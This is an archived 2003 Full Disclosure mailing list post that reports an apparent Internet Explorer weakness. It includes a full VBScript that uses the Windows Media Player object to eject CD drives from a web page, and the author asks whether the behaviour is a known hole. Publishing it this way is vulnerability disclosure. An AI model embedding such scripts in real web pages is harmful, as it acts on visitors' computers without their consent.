Full Disclosure mailing list archives
Ejecting CDs with VBScript ( Online Exploit )
From: "Lorenzo Hernandez Garcia-Hierro" <lorenzohgh () nsrg-security com>
Date: Fri, 10 Oct 2003 23:12:44 +0200
Hi friends, I'm not very happy with this , i have done an online test for eject cds in a MS Internet Explorer and i have tested it in all the computers of my house but i was surprised when i checked that the last version of MSIE allows the execution of the script in the following sec. zones: . LOCAL/INTRANET . REMOTE/INTERNET I tested it in default values and the exploit is executed , i edited the values and again it was executed. Am i discovering a new vulnerability in MS Internet Explorer ? I'm not sure because there are lots of known holes in MSIE. Suggestions and help is completely welcome. The best regards, PS: This is the code of the exploit: ----------------- <SCRIPT LANGUAGE=VBSCRIPT> rem -------------------------------------- rem No Secure Root Group Security Research rem Coder: Trulux / Lorenzo Hdez G-H rem -------------------------------------- rem http://www.nsrg-security.com rem -------------------------------------- rem -> CREATE WINDOWS MEDIA PLAYER OBJECT rem - Set LARRYINTHEWILD = CreateObject("WMPlayer.OCX.7" ) rem - rem -> SETTING SOME VARIABLES FOR EJECT CD UNITS rem - Set RIAAsaysBLAH = LARRYINTHEWILD.cdromCollection rem - rem -> EJECTING ROUTINE rem - if RIAAsaysBLAH.Count >= 1 then For i = 0 to RIAAsaysBLAH.Count - 1 RIAAsaysBLAH.Item(i).Eject Next ' cdrom End If rem -> END </SCRIPT> -------------- NOTE: i don't know if this is a known security hole , if this was discovered before , i'm sorry ( and a little sad :-( ). you can test it online: http://test-zone.nsrg-security.com/browser/msie/cdrom _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Ejecting CDs with VBScript ( Online Exploit ) Lorenzo Hernandez Garcia-Hierro (Oct 10)
- RE: Ejecting CDs with VBScript ( Online Exploit ) Brent Colflesh (Oct 10)
- Re: Ejecting CDs with VBScript ( Online Exploit ) jelmer (Oct 10)